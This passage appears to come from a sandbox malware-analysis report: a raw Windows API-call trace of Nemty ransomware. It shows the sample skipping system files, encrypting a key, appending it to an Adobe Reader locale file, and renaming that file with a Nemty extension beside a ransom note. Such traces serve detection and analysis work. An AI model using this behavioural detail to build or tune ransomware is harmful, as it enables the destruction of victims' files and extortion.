hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.104] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0182.104] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0182.105] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0182.105] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0182.105] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0182.105] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0182.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0182.105] Sleep (dwMilliseconds=0x5) [0182.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2031b870, dwHighDateTime=0x1d561e8)) [0182.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2031b870, dwHighDateTime=0x1d561e8)) [0182.112] GetLastError () returned 0x0 [0182.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.112] GetLastError () returned 0x0 [0182.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0182.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0182.113] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0182.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0182.113] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="bZe3URhCS0EYcESnQGDidDFXrKwyfqz+4nn8f3lseUGZq1IJayXbyOTw83+S2T0l\r\nLL2BfzKPP2ESCrgAcBwrIkNVx9kgA/QLr2n9ULsTP7eEzeLz+ZOF996HjvoAjHvm\r\naqa4EYTWhOLtNru95DrwbOmN+aNX/X80ZTp57Jv8/nIbVKludGZiPkTNbNnYsHwA\r\num62cI5VRqATRxYQ4QG476n0sO6ircHA236TJz7mewvljIc6WCJmp5mPHE1yib+o\r\naF2d3PWLnq3EG3l09hByRGgQ6NUVpSmxFFwcfsvXadUa2y+ChCq6hTiu0VfmmPgS\r\nJV9AE3dfHEno7rTrSRlWuw==\r\n", pcchString=0x653e29c) returned 1 [0182.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0182.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0182.113] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=234) returned 1 [0182.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0182.113] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.113] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0182.114] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.114] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0182.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.114] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea [0182.115] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0182.115] CloseHandle (hObject=0x2f0) returned 1 [0182.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0182.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0182.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0182.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0182.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.115] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.116] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x202cf5b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x202cf5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x202cf5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0182.116] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0182.116] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0182.116] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0182.116] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0182.116] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0182.117] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0182.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0182.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0182.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.118] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x202cf5b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x202cf5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x202cf5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0182.118] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.118] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2=".") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="..") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="...") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="windows") returned -1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="rsa") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="NTDETECT.COM") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="ntldr") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="MSDOS.SYS") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="IO.SYS") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="boot.ini") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="boot.ini") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="ntuser.dat") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="desktop.ini") returned 1 [0182.118] lstrcmpiW (lpString1="Spelling.PTB", lpString2="CONFIG.SYS") returned 1 [0182.119] lstrcmpiW (lpString1="Spelling.PTB", lpString2="RECYCLER") returned 1 [0182.119] lstrcmpiW (lpString1="Spelling.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.119] lstrcmpiW (lpString1="Spelling.PTB", lpString2="bootmgr") returned 1 [0182.119] lstrcmpiW (lpString1="Spelling.PTB", lpString2="programdata") returned 1 [0182.119] lstrcmpiW (lpString1="Spelling.PTB", lpString2="appdata") returned 1 [0182.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.119] WideCharToMultiByte (in: 